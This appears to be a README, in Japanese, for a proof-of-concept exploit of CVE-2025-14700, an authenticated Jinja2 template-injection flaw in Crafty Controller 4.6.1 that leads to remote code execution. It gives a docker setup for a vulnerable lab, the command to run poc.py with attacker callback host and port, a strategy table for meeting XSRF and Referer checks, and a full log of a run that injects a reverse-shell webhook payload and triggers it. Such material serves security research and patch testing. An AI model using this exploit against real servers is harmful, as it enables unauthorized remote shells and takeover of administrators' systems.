
Crafty Controllerにおける認証済みRCEの概念実証
CVE-2025-14700 の PoC。Crafty Controller <= 4.6.1 におけるサーバーサイドテンプレートインジェクション (SSTI) の脆弱性です。この脆弱性により、認証済みユーザーが Webhook 設定に悪意のある Jinja2 テンプレートを注入することで、リモートコード実行 (RCE) を達成できます。
# Clone the repository
git clone https://github.com/secdongle/POC_CVE-2025-14700
cd POC_CVE-2025-14700
脆弱性のある Crafty Controller 4.6.1 のインスタンスをセットアップするには、次の docker-compose.yml 設定を使用します。
docker-compose.yml を作成version: '3'
services:
crafty:
image: registry.gitlab.com/crafty-controller/crafty-4:4.6.1
container_name: crafty-vulnerable
ports:
- "8443:8443" # Web Dashboard
- "25565:25565" # Minecraft Server Port
environment:
- TZ=Asia/Shanghai
volumes:
- ./crafty_data:/crafty_db
restart: unless-stopped
docker-compose up -d
https://localhost:8443 で Web インターフェースにアクセスします。poc.py スクリプトを実行します。# Execute the Proof of Concept for a reverse shell
python3 poc.py -u https://10.67.3.77:8443 -l admin -p 'PASSWORD' -lh 10.67.3.78 -lp 6699
| オプション | 説明 |
|---|---|
-u, --url | ターゲット Crafty Controller URL(例:https://10.67.3.77:8443) |
-l, --login | 認証用ユーザー名 |
-p, --password | 認証用パスワード |
-lh, --lhost | リバースシェルコールバック用の攻撃者 IP |
-lp, --lport | リバースシェルコールバック用の攻撃者ポート |
_xsrf Cookie とカスタム token ヘッダー間の複雑な同期を自動的に処理します。Referer および Origin ヘッダーを含むブラウザベースのリクエストを 1:1 でシミュレーションします。エクスプロイトは、バックエンドの厳格な検証ロジックに合わせることで成功します。
| 要件 | エクスプロイト戦略 |
|---|---|
| XSRF トークン | Cookie から _xsrf を抽出し、X-XSRFToken および token ヘッダーに反映させます。 |
| Referer チェック | 正当なユーザー操作を模倣するため、Referer をダッシュボードパスに設定します。 |
| ヘッダーマッピング | _xsrf 値をアクションディスパッチャーが必要とする特定の token ヘッダーにマッピングします。 |
| ペイロード | self._TemplateReference__context を利用して os モジュールにアクセスします。 |
python poc.py -u https://10.67.3.77:8443 -l admin -lh 10.67.3.78 -lp 6699 -p 'iMbSnt@OLnBYnU%hVv0aRN2l5djUInSruxAHK2oP0j@QDs$6pkGa8dYEI!G$mLim"'
[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie...
[*] STEP 2: Executing authentication (XSRF: 2|421c9864|03dd...)
================================================================================
[POST] https://10.67.3.77:8443/api/v2/auth/login/ -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Referer: https://10.67.3.77:8443/login?next=%2Fpanel%2Fdashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
"status": "ok",
"data": {
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k",
"user_id": "1",
"page": "/panel/dashboard"
}
}
================================================================================
[*] STEP 3: Creating exploit dummy server...
================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers -> HTTP 201
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
"status": "ok",
"data": {
"new_server_id": "d21f875b-3db0-42fa-92c7-2ba10cdf13ba"
}
}
================================================================================
[*] STEP 4: Injecting SSTI Reverse Shell payload...
================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/webhook -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
"status": "ok",
"data": {
"webhook_id": 13
}
}
================================================================================
[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)...
[*] Sending start_server action request...
================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/action/start_server -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
token: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
-------------------- [RESPONSE BODY] -------------------------
{
"status": "ok"
}
================================================================================
[*] Sending EULA confirmation action request...
[+] POC Execution completed. Check your nc listener (LHOST/LPORT).

このツールは教育および許可されたセキュリティテスト目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。作成者は誤用について一切の責任を負いません。